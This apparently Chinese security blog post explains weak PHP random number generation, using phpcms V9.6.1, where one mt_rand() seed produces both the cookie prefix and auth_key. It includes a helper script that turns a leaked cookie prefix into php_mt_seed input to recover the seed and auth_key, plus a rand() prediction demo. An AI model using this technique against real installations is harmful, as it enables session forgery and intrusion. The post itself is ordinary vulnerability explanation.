php随机字符串带来的安全问题实例(phpcms V9.6.1)
在php中,产生随机数的方法有 rand()函数和 mt_rand()函数,无论是rand()函数还是mt_rand()函数,当随机数种子相同的时候,无论运行多少次,产生的随机数序列都是一样的,所以如果我们在代码中自己播种了随机数种子,但是泄露了这个种子,就会导致产生的随机数序列被别人猜到,造成安全问题。
在我们测试 mt_rand() 的时候,可以利用 php_mt_seed 这款工具来进行验证,下载地址:http://www.openwall.com/php_mt_seed/,测试如下:

可以看到,我们是可以根据随机数序列来获取这个 seed 种子的,这样对于预测之后的随机数序列就没啥问题了,因为如果未设定随机数种子的值,那么使用的种子是同一个。
回到我们的案例,在 phpcmsV9.6.1 中,在 install.php 是这样的:

而 random() 函数的实现是用的 mt_rand() ,并且在这之前没有进行手动 seed 赋值,也就是获取 $cookie_pre 和 $auth_key 是用的一个 seed 种子,利用上面说的方法,就可以通过获取的 cookie前缀值来爆破随机数种子,然后获取 auth_key 的值。
把文件抽象出来大致就是:
mt_rand.php
<?php function random($length, $chars = '0123456789') { $hash = ''; $max = strlen($chars) - 1; for($i = 0; $i < $length; $i++) { $hash .= $chars[mt_rand(0, $max)]; } return $hash; } $cookie_pre = random(5, 'abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ'); $auth_key = random(20, '1294567890abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ'); echo "$cookie_pre\n"; echo "$auth_key\n"; ?>
crake.php
<?php $str = "fHDAN"; $randStr = "abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ"; for($i=0;$i<strlen($str);$i++){ $pos = strpos($randStr,$str[$i]); echo $pos." ".$pos." "."0 ".(strlen($randStr)-1)." "; //整理成方便 php_mt_seed 测试的格式 //php_mt_seed VALUE_OR_MATCH_MIN [MATCH_MAX [RANGE_MIN RANGE_MAX]] } echo "\n"; ?>
测试爆破结果,

后来官方在V9.6.2版本中添加了随机数种子播种的操作,使得生成 cookie 前缀和 auth_key 的随机数种子不同,也就不能利用这个爆破的方法去获取 auth_key 了。
而对于 rand() 函数来说,产生的随机数可以用下面这个公式预测 : state[i] = state[i-3] + state[i-31] (有可能会比计算的值大1),测试代码:
<?php $arr=array(); for($i=0;$i<=50;$i++){ //echo $i.": ".rand(0,30)."\n"; $arr[$i]=rand(0,30); if($i>=31){ echo $i.": "."$arr[$i]=(".$arr[$i-31]."+".$arr[$i-3].") mod 31"."\n"; } else echo $i.": ".$arr[$i]."\n"; }
测试如下:

浙公网安备 33010602011771号